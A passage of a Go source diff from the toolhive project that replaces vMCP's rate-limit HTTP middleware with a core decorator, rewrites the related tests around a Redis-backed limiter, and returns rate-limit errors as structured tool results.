NewLimiter(ctx, Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: "127.0.0.1:1", + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to connect to Redis") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterInvalidRateLimitConfig(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 0, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to create rate limiter") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterReturnsUsableLimiter(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + require.NotNil(t, cleanup) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + err = ratelimit.Allow(t.Context(), limiter, nil, "backend_a_echo") + require.NoError(t, err) + + err = ratelimit.Allow(t.Context(), limiter, nil, "backend_a_echo") + var rateLimited *ratelimit.RateLimitedError + require.ErrorAs(t, err, &rateLimited) +} + +func TestNewLimiterPerUserSharedAcrossTools(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + PerUser: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + first, err := limiter.Allow(t.Context(), "backend_a_echo", "alice") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "backend_b_echo", "alice") + require.NoError(t, err) + assert.False(t, second.Allowed) +} + +func TestNewLimiterUsesPostAggregationToolNames(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + Tools: []ratelimittypes.ToolRateLimitConfig{ + { + Name: "backend_a_echo", + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + first, err := limiter.Allow(t.Context(), "backend_a_echo", "") + require.NoError(t, err) + require.True(t, first.Allowed) + + otherTool, err := limiter.Allow(t.Context(), "backend_b_echo", "") + require.NoError(t, err) + require.True(t, otherTool.Allowed) + + secondMatchingTool, err := limiter.Allow(t.Context(), "backend_a_echo", "") + require.NoError(t, err) + assert.False(t, secondMatchingTool.Allowed) +} + +func sharedRateLimitConfig() *ratelimittypes.RateLimitConfig { + return &ratelimittypes.RateLimitConfig{ + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + } +} diff --git a/pkg/vmcp/ratelimit/factory/middleware_test.go b/pkg/vmcp/ratelimit/factory/middleware_test.go deleted file mode 100644 index 7175593e0c..0000000000 --- a/pkg/vmcp/ratelimit/factory/middleware_test.go +++ /dev/null @@ -1,233 +0,0 @@ -// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. -// SPDX-License-Identifier: Apache-2.0 - -package factory - -import ( - "context" - "encoding/json" - "net/http" - "net/http/httptest" - "testing" - "time" - - "github.com/alicebob/miniredis/v2" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" - - "github.com/stacklok/toolhive/pkg/auth" - mcpparser "github.com/stacklok/toolhive/pkg/mcp" - "github.com/stacklok/toolhive/pkg/ratelimit" - ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" - vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" -) - -func TestNewMiddlewareDisabledWithoutConfig(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - }) - - require.NoError(t, err) - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRequiresRedisSessionStorage(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "requires Redis session storage") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRequiresRedisAddress(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "requires Redis session storage address") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRedisPingFailure(t *testing.T) { - t.Parallel() - - ctx, cancel := context.WithTimeout(t.Context(), 100*time.Millisecond) - defer cancel() - middleware, cleanup, err := NewMiddleware(ctx, Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: "127.0.0.1:1", - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to connect to Redis") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareInvalidRateLimitConfig(t *testing.T) { - t.Parallel() - - mr := miniredis.RunT(t) - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: &ratelimittypes.RateLimitConfig{ - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: 0, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }, - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: mr.Addr(), - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to create rate limiter") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestRateLimitMiddlewarePerUserSharedAcrossTools(t *testing.T) { - t.Parallel() - - handler := newTestRateLimitHandler(t, &ratelimittypes.RateLimitConfig{ - PerUser: &ratelimittypes.RateLimitBucket{ - MaxTokens: 1, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }) - - first := serveToolCall(t, handler, "backend_a_echo", "alice") - assert.Equal(t, http.StatusOK, first.Code) - - second := serveToolCall(t, handler, "backend_b_echo", "alice") - assert.Equal(t, http.StatusTooManyRequests, second.Code) - assertRateLimitedBody(t, second) -} - -func TestRateLimitMiddlewareUsesPostAggregationToolNames(t *testing.T) { - t.Parallel() - - handler := newTestRateLimitHandler(t, &ratelimittypes.RateLimitConfig{ - Tools: []ratelimittypes.ToolRateLimitConfig{ - { - Name: "backend_a_echo", - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: 1, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }, - }, - }) - - first := serveToolCall(t, handler, "backend_a_echo", "") - assert.Equal(t, http.StatusOK, first.Code) - - otherTool := serveToolCall(t, handler, "backend_b_echo", "") - assert.Equal(t, http.StatusOK, otherTool.Code) - - secondMatchingTool := serveToolCall(t, handler, "backend_a_echo", "") - assert.Equal(t, http.StatusTooManyRequests, secondMatchingTool.Code) -} - -func newTestRateLimitHandler(t *testing.T, cfg *ratelimittypes.RateLimitConfig) http.Handler { - t.Helper() - - mr := miniredis.RunT(t) - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: cfg, - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: mr.Addr(), - }, - }) - require.NoError(t, err) - require.NotNil(t, middleware) - require.NotNil(t, cleanup) - t.Cleanup(func() { - require.NoError(t, cleanup(context.Background())) - }) - - return middleware(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusOK) - })) -} - -func serveToolCall(t *testing.T, handler http.Handler, toolName, userID string) *httptest.ResponseRecorder { - t.Helper() - - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - req = withParsedMCPRequest(req, "tools/call", toolName, 1) - if userID != "" { - req = withIdentity(req, userID) - } - w := httptest.NewRecorder() - handler.ServeHTTP(w, req) - return w -} - -func withParsedMCPRequest(r *http.Request, method, resourceID string, id any) *http.Request { - parsed := &mcpparser.ParsedMCPRequest{ - Method: method, - ResourceID: resourceID, - ID: id, - IsRequest: true, - } - ctx := context.WithValue(r.Context(), mcpparser.MCPRequestContextKey, parsed) - return r.WithContext(ctx) -} - -func withIdentity(r *http.Request, subject string) *http.Request { - identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: subject}} - ctx := auth.WithIdentity(r.Context(), identity) - return r.WithContext(ctx) -} - -func sharedRateLimitConfig(maxTokens int32) *ratelimittypes.RateLimitConfig { - return &ratelimittypes.RateLimitConfig{ - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: maxTokens, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - } -} - -func assertRateLimitedBody(t *testing.T, recorder *httptest.ResponseRecorder) { - t.Helper() - - var resp map[string]any - require.NoError(t, json.Unmarshal(recorder.Body.Bytes(), &resp)) - errObj := resp["error"].(map[string]any) - assert.Equal(t, float64(ratelimit.CodeRateLimited), errObj["code"]) - assert.Equal(t, ratelimit.MessageRateLimited, errObj["message"]) -} diff --git a/pkg/vmcp/registry.go b/pkg/vmcp/registry.go index ccce6e321c..dbd21409aa 100644 --- a/pkg/vmcp/registry.go +++ b/pkg/vmcp/registry.go @@ -37,8 +37,10 @@ type BackendRegistry interface { Get(ctx context.Context, backendID string) *Backend // List returns all registered backends. - // The returned slice is a snapshot and safe to iterate without additional locking. - // Order is not guaranteed unless specified by the implementation. + // The returned slice is a fresh, non-nil snapshot the caller owns: safe to + // iterate without additional locking and safe to mutate (implementations must + // not return an internal or shared backing array). Order is not guaranteed + // unless specified by the implementation. // // Example: // backends := registry.List(ctx) diff --git a/pkg/vmcp/server/derive.go b/pkg/vmcp/server/derive.go index ad21b75ae8..450926c637 100644 --- a/pkg/vmcp/server/derive.go +++ b/pkg/vmcp/server/derive.go @@ -78,7 +78,6 @@ func deriveServerConfig( SessionTTL: cfg.SessionTTL, WriteTimeout: cfg.WriteTimeout, AuthMiddleware: cfg.AuthMiddleware, - RateLimitMiddleware: cfg.RateLimitMiddleware, AuthInfoHandler: cfg.AuthInfoHandler, PassthroughHeaders: cfg.PassthroughHeaders, AuthServer: cfg.AuthServer, diff --git a/pkg/vmcp/server/derive_test.go b/pkg/vmcp/server/derive_test.go index 369d06e1fb..e2543f24ac 100644 --- a/pkg/vmcp/server/derive_test.go +++ b/pkg/vmcp/server/derive_test.go @@ -44,7 +44,6 @@ func populatedLegacyConfig() *Config { AuthzMiddleware: passthrough, AuthInfoHandler: http.NewServeMux(), PassthroughHeaders: []string{"X-Tenant-Id"}, - RateLimitMiddleware: passthrough, AuthServer: &asrunner.EmbeddedAuthServer{}, TelemetryProvider: &telemetry.Provider{}, AuditConfig: &audit.Config{}, @@ -77,7 +76,6 @@ func TestDeriveServerConfigProjectsTransportFields(t *testing.T) { // Func/handler/pointer fields projected by reference. assert.NotNil(t, got.AuthMiddleware) - assert.NotNil(t, got.RateLimitMiddleware) assert.Same(t, cfg.AuthInfoHandler, got.AuthInfoHandler) assert.Equal(t, cfg.PassthroughHeaders, got.PassthroughHeaders) assert.Same(t, cfg.AuthServer, got.AuthServer) diff --git a/pkg/vmcp/server/middleware_test.go b/pkg/vmcp/server/middleware_test.go deleted file mode 100644 index b2044cd31f..0000000000 --- a/pkg/vmcp/server/middleware_test.go +++ /dev/null @@ -1,50 +0,0 @@ -// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. -// SPDX-License-Identifier: Apache-2.0 - -package server - -import ( - "net/http" - "net/http/httptest" - "testing" - - "github.com/stretchr/testify/assert" -) - -func TestApplyRateLimitingWrapsConfiguredMiddleware(t *testing.T) { - t.Parallel() - - s := &Server{config: &Config{ - RateLimitMiddleware: func(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("X-Rate-Limit-Test", "wrapped") - next.ServeHTTP(w, r) - }) - }, - }} - handler := s.applyRateLimiting(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusAccepted) - })) - - rec := httptest.NewRecorder() - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - handler.ServeHTTP(rec, req) - - assert.Equal(t, http.StatusAccepted, rec.Code) - assert.Equal(t, "wrapped", rec.Header().Get("X-Rate-Limit-Test")) -} - -func TestApplyRateLimitingPassesThroughWhenDisabled(t *testing.T) { - t.Parallel() - - s := &Server{config: &Config{}} - handler := s.applyRateLimiting(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusAccepted) - })) - - rec := httptest.NewRecorder() - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - handler.ServeHTTP(rec, req) - - assert.Equal(t, http.StatusAccepted, rec.Code) -} diff --git a/pkg/vmcp/server/serve.go b/pkg/vmcp/server/serve.go index fb2ee3a80b..2a7ac4304b 100644 --- a/pkg/vmcp/server/serve.go +++ b/pkg/vmcp/server/serve.go @@ -72,10 +72,6 @@ type ServerConfig struct { // If nil, no authentication is required. AuthMiddleware func(http.Handler) http.Handler - // RateLimitMiddleware is the optional rate-limit middleware to apply after - // authentication and MCP request parsing. - RateLimitMiddleware func(http.Handler) http.Handler - // AuthInfoHandler is the optional handler for the // /.well-known/oauth-protected-resource endpoint. AuthInfoHandler http.Handler @@ -356,7 +352,6 @@ func buildServeConfig(cfg *ServerConfig) *Config { SessionTTL: cfg.SessionTTL, WriteTimeout: cfg.WriteTimeout, AuthMiddleware: cfg.AuthMiddleware, - RateLimitMiddleware: cfg.RateLimitMiddleware, AuthInfoHandler: cfg.AuthInfoHandler, PassthroughHeaders: cfg.PassthroughHeaders, AuthServer: cfg.AuthServer, diff --git a/pkg/vmcp/server/serve_crosspod_rebind_test.go b/pkg/vmcp/server/serve_crosspod_rebind_test.go index 640bc74fe1..8f08ead134 100644 --- a/pkg/vmcp/server/serve_crosspod_rebind_test.go +++ b/pkg/vmcp/server/serve_crosspod_rebind_test.go @@ -467,7 +467,7 @@ func TestCrossPodRehydration(t *testing.T) { // TestListenStreamGuard covers the HTTP-level check of GET listen streams. mcp-go // answers a GET with 200 even when the registration hook rejects it, keeps the -// GET's session object for later requests on that pod, and on the pod that holds +// session object of the GET for later requests on that pod, and on the pod that holds // the session in memory runs no hook at all, so the check must refuse the request // before mcp-go sees it. func TestListenStreamGuard(t *testing.T) { diff --git a/pkg/vmcp/server/serve_handlers.go b/pkg/vmcp/server/serve_handlers.go index 37917b327c..401ad75d39 100644 --- a/pkg/vmcp/server/serve_handlers.go +++ b/pkg/vmcp/server/serve_handlers.go @@ -215,12 +215,7 @@ func (s *Server) coreToolHandler(sessionID, toolName, backendName string) server result, err := s.core.CallTool(ctx, caller, toolName, args, conversion.FromMCPMeta(req.Params.Meta)) if err != nil { - // Admission denial returns a generic message so the underlying authorizer - // error is never forwarded to the client. - if errors.Is(err, vmcp.ErrAuthorizationFailed) { - return mcp.NewToolResultError("call denied by authorization policy"), nil - } - return mcp.NewToolResultError(err.Error()), nil + return conversion.ErrorToToolResult(err), nil } return &mcp.CallToolResult{ diff --git a/pkg/vmcp/server/serve_optimizer.go b/pkg/vmcp/server/serve_optimizer.go index 2a2495e04f..f00ad34f5d 100644 --- a/pkg/vmcp/server/serve_optimizer.go +++ b/pkg/vmcp/server/serve_optimizer.go @@ -14,6 +14,7 @@ import ( "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/conversion" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" "github.com/stacklok/toolhive/pkg/vmcp/schema" "github.com/stacklok/toolhive/pkg/vmcp/session/optimizerdec" @@ -197,7 +198,7 @@ func (s *Server) optimizerCallToolHandler(sessionID string, opt optimizer.Optimi result, err := opt.CallTool(ctx, input) if err != nil { - return mcp.NewToolResultError(fmt.Sprintf("call_tool failed: %v", err)), nil + return conversion.ErrorToToolResult(fmt.Errorf("call_tool failed: %w", err)), nil } // Defensive parity with the legacy optimizerdec handler: the production // optimizer never returns (nil, nil), but guard so a future implementation diff --git a/pkg/vmcp/server/serve_optimizer_test.go b/pkg/vmcp/server/serve_optimizer_test.go index 32e0926fbc..e15d35ddcc 100644 --- a/pkg/vmcp/server/serve_optimizer_test.go +++ b/pkg/vmcp/server/serve_optimizer_test.go @@ -20,8 +20,11 @@ import ( "go.uber.org/mock/gomock" "github.com/stacklok/toolhive/pkg/auth" + "github.com/stacklok/toolhive/pkg/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" + vmcpratelimit "github.com/stacklok/toolhive/pkg/vmcp/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp/server/sessionmanager" "github.com/stacklok/toolhive/pkg/vmcp/session/optimizerdec" ) @@ -92,16 +95,18 @@ var initBody = map[string]any{ } // registerServeOptimizerSession builds a Serve server with the optimizer enabled -// (OptimizerFactory + AdvertiseFromCore) backed by fc, registers one anonymous session -// via the SDK initialize path, and returns the server, session ID, HTTP base URL, and -// the recording factory. Mirrors registerServeSession but in optimizer mode. -func registerServeOptimizerSession(t *testing.T, fc *fakeCore) (*Server, string, string, *recordingOptimizerFactory) { +// (OptimizerFactory + AdvertiseFromCore) over vmcpCore, registers one anonymous +// session via the SDK initialize path, and returns the server, session ID, HTTP +// base URL, and recording factory. Mirrors registerServeSession in optimizer mode. +func registerServeOptimizerSession( + t *testing.T, vmcpCore core.VMCP, tools []vmcp.Tool, +) (*Server, string, string, *recordingOptimizerFactory) { t.Helper() ctrl := gomock.NewController(t) - factory, _ := newToolSessionFactory(t, ctrl, fc.tools) + factory, _ := newToolSessionFactory(t, ctrl, tools) optFactory := &recordingOptimizerFactory{} - srv, err := Serve(context.Background(), fc, &ServerConfig{ + srv, err := Serve(context.Background(), vmcpCore, &ServerConfig{ SessionTTL: time.Minute, SessionManagerConfig: &sessionmanager.FactoryConfig{ Base: factory, @@ -191,7 +196,7 @@ func TestServeOptimizerAdvertisesOnlyFindAndCallTool(t *testing.T) { {Name: "tool-a", Description: "first"}, {Name: "tool-b", Description: "second"}, }} - _, sessionID, baseURL, optFactory := registerServeOptimizerSession(t, fc) + _, sessionID, baseURL, optFactory := registerServeOptimizerSession(t, fc, fc.tools) require.Eventually(t, func() bool { for _, n := range serveToolNames(t, baseURL, sessionID) { @@ -223,7 +228,7 @@ func TestServeOptimizerFindToolReturnsCoreTools(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}, {Name: "tool-b"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.FindToolName] require.NotNil(t, handler) @@ -277,7 +282,7 @@ func TestServeOptimizerCallToolRoutesThroughCore(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.CallToolName] require.NotNil(t, handler) @@ -309,7 +314,7 @@ func TestServeOptimizerCallToolInnerAdmissionDenied(t *testing.T) { tools: []vmcp.Tool{{Name: "tool-a"}}, callErr: fmt.Errorf("%w: cedar said no", vmcp.ErrAuthorizationFailed), } - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.CallToolName] require.NotNil(t, handler) @@ -329,6 +334,88 @@ func TestServeOptimizerCallToolInnerAdmissionDenied(t *testing.T) { assert.Equal(t, int32(1), fc.callToolCalls.Load(), "the inner target must reach the core admission seam") } +// singleUseToolLimiter is an in-memory per-tool limiter for the optimizer +// integration test. Calls for other names are deliberately unlimited, so the +// test also proves the optimizer passes the resolved backend tool name. +type singleUseToolLimiter struct { + toolName string + calls atomic.Int32 +} + +func (l *singleUseToolLimiter) Allow( + _ context.Context, toolName, _ string, +) (*ratelimit.Decision, error) { + if toolName != l.toolName { + return &ratelimit.Decision{Allowed: true}, nil + } + if l.calls.Add(1) > 1 { + return &ratelimit.Decision{Allowed: false, RetryAfter: time.Minute}, nil + } + return &ratelimit.Decision{Allowed: true}, nil +} + +// TestServeOptimizerCallToolUsesResolvedNameForRateLimiting composes the real +// rate-limit decorator below the Serve-layer optimizer. The first call is +// allowed and reaches the core; the second call to the same resolved tool is +// denied before delegation. +func TestServeOptimizerCallToolUsesResolvedNameForRateLimiting(t *testing.T) { + t.Parallel() + + fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} + limiter := &singleUseToolLimiter{toolName: "tool-a"} + decorated := vmcpratelimit.NewDecorator(fc, limiter) + _, sessionID, baseURL, _ := registerServeOptimizerSession(t, decorated, fc.tools) + + requestBody := map[string]any{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": map[string]any{ + "name": optimizerdec.CallToolName, + "arguments": map[string]any{ + "tool_name": "tool-a", + "parameters": map[string]any{}, + }, + }, + } + + firstResp := postServeMCP(t, baseURL, requestBody, sessionID) + defer firstResp.Body.Close() + require.Equal(t, http.StatusOK, firstResp.StatusCode) + var first struct { + Result struct { + IsError bool `json:"isError"` + } `json:"result"` + Error map[string]any `json:"error"` + } + require.NoError(t, json.NewDecoder(firstResp.Body).Decode(&first)) + require.Nil(t, first.Error) + assert.False(t, first.Result.IsError) + + secondResp := postServeMCP(t, baseURL, requestBody, sessionID) + defer secondResp.Body.Close() + require.Equal(t, http.StatusOK, secondResp.StatusCode) + var second struct { + Result struct { + IsError bool `json:"isError"` + StructuredContent map[string]any `json:"structuredContent"` + } `json:"result"` + Error map[string]any `json:"error"` + } + require.NoError(t, json.NewDecoder(secondResp.Body).Decode(&second)) + require.Nil(t, second.Error, "coded tool failures should stay tool results, not JSON-RPC errors") + assert.True(t, second.Result.IsError) + assert.EqualValues(t, ratelimit.CodeRateLimited, second.Result.StructuredContent["code"]) + assert.Equal(t, ratelimit.MessageRateLimited, second.Result.StructuredContent["message"]) + data, ok := second.Result.StructuredContent["data"].(map[string]any) + require.True(t, ok, "rate-limit data should survive optimizer wrapping") + assert.EqualValues(t, 60, data["retryAfterSeconds"]) + assert.Equal(t, int32(2), limiter.calls.Load(), "the limiter must receive the resolved tool name on both calls") + assert.Equal(t, int32(1), fc.callToolCalls.Load(), "the denied call must not reach the core") + got, _ := fc.lastCallToolName.Load().(string) + assert.Equal(t, "tool-a", got) +} + // TestServeOptimizerEnforcesSessionBinding proves both meta-tools enforce the session's // identity binding (anti-hijack): an attacker presenting a token on an anonymous session // is rejected, the session is terminated (fail-closed), and no optimizer work is done. @@ -339,7 +426,7 @@ func TestServeOptimizerEnforcesSessionBinding(t *testing.T) { t.Run(toolName, func(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[toolName] require.NotNil(t, handler) @@ -375,7 +462,7 @@ func TestServeOptimizerLazyInjectsForRehydratedSession(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, optFactory := registerServeOptimizerSession(t, fc) + srv, sessionID, _, optFactory := registerServeOptimizerSession(t, fc, fc.tools) // Capture the registration-time counts so we can prove the rehydration REBUILDS // (the half of AC5 that distinguishes the Serve path from the legacy GetAdaptedTools): diff --git a/pkg/vmcp/server/serve_session_test.go b/pkg/vmcp/server/serve_session_test.go index efadb4301d..ecdd783dab 100644 --- a/pkg/vmcp/server/serve_session_test.go +++ b/pkg/vmcp/server/serve_session_test.go @@ -25,6 +25,7 @@ import ( "github.com/stacklok/toolhive/pkg/audit" "github.com/stacklok/toolhive/pkg/auth" + "github.com/stacklok/toolhive/pkg/ratelimit" transportsession "github.com/stacklok/toolhive/pkg/transport/session" "github.com/stacklok/toolhive/pkg/vmcp" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" @@ -202,6 +203,14 @@ func (*fakeCore) LookupPrompt(context.Context, *auth.Identity, string) (*vmcp.Pr return nil, vmcp.ErrNotFound } +func (*fakeCore) ListBackends(context.Context, *auth.Identity, bool) ([]vmcp.Backend, error) { + return nil, nil +} + +func (*fakeCore) LookupBackend(context.Context, *auth.Identity, string) (*vmcp.Backend, error) { + return nil, vmcp.ErrNotFound +} + func (*fakeCore) Close() error { return nil } func (*fakeCore) BackendHealth() health.Reporter { return nil } @@ -386,6 +395,7 @@ func TestServeLazyInjectsToolsForRehydratedSession(t *testing.T) { {name: "tools/list", wantTool: "", toppedUp: false}, } { t.Run(tc.name, func(t *testing.T) { + t.Parallel() preexisting := server.ServerTool{Tool: mcp.Tool{Name: "preexisting"}} partial := &fakeSDKSession{id: sessionID, tools: map[string]server.ServerTool{"preexisting": preexisting}} srv.lazyInjectSessionTools(srv.mcpServer.WithContext(context.Background(), partial), tc.wantTool) @@ -759,6 +769,31 @@ func TestServeCoreToolHandler(t *testing.T) { } } +func TestServeCoreToolHandlerCodedErrorReturnsStructuredToolResult(t *testing.T) { + t.Parallel() + + fc := &fakeCore{ + tools: []vmcp.Tool{{Name: "t"}}, + callErr: &ratelimit.RateLimitedError{RetryAfter: time.Second}, + } + srv, sessionID, _ := registerServeSession(t, fc) + + req := mcp.CallToolRequest{Params: mcp.CallToolParams{Name: "t", Arguments: map[string]any{}}} + res, err := srv.coreToolHandler(sessionID, "t", "")(context.Background(), req) + + require.NoError(t, err) + require.NotNil(t, res) + assert.True(t, res.IsError) + sc, ok := res.StructuredContent.(map[string]any) + require.True(t, ok, "coded errors should carry structured content") + assert.EqualValues(t, ratelimit.CodeRateLimited, sc["code"]) + assert.Equal(t, ratelimit.MessageRateLimited, sc["message"]) + data, ok := sc["data"].(map[string]any) + require.True(t, ok, "coded errors should carry structured data") + assert.EqualValues(t, 1, data["retryAfterSeconds"]) + assert.Equal(t, int32(1), fc.callToolCalls.Load()) +} + // TestServeToolCallTerminatesOnBindingFailure proves the documented fail-closed side // effect: a binding rejection on the Serve call path terminates the session and never // reaches the core. The session is anonymous, so a caller presenting a token is a diff --git a/pkg/vmcp/server/serve_test.go b/pkg/vmcp/server/serve_test.go index 3b4459415d..125d435747 100644 --- a/pkg/vmcp/server/serve_test.go +++ b/pkg/vmcp/server/serve_test.go @@ -63,6 +63,12 @@ func (*stubVMCP) LookupResource(context.Context, *auth.Identity, string) (*vmcp. func (*stubVMCP) LookupPrompt(context.Context, *auth.Identity, string) (*vmcp.Prompt, error) { return nil, nil } +func (*stubVMCP) ListBackends(context.Context, *auth.Identity, bool) ([]vmcp.Backend, error) { + return nil, nil +} +func (*stubVMCP) LookupBackend(context.Context, *auth.Identity, string) (*vmcp.Backend, error) { + return nil, nil +} func (s *stubVMCP) Close() error { s.closed = true; return nil } func (*stubVMCP) BackendHealth() health.Reporter { return nil } @@ -322,6 +328,7 @@ func TestBuildServeConfigMapsSharedFields(t *testing.T) { "OptimizerFactory": {}, // optimizer wiring carried on ServerConfig.SessionManagerConfig (FactoryConfig) "OptimizerConfig": {}, // optimizer wiring carried on ServerConfig.SessionManagerConfig (FactoryConfig) "CodeModeConfig": {}, // consumed by New to wrap the core (code mode decorator) before Serve; not a transport field + "RateLimiter": {}, // consumed by New to wrap the core (rate-limit decorator) before Serve; not a transport field "Aggregator": {}, // core collaborator: fed to core.New via deriveCoreConfig, not the transport "Authz": {}, // core collaborator: fed to the core admission seam via deriveCoreConfig } @@ -340,7 +347,6 @@ func TestBuildServeConfigMapsSharedFields(t *testing.T) { SessionTTL: time.Second, WriteTimeout: time.Second, AuthMiddleware: func(h http.Handler) http.Handler { return h }, - RateLimitMiddleware: func(h http.Handler) http.Handler { return h }, AuthInfoHandler: 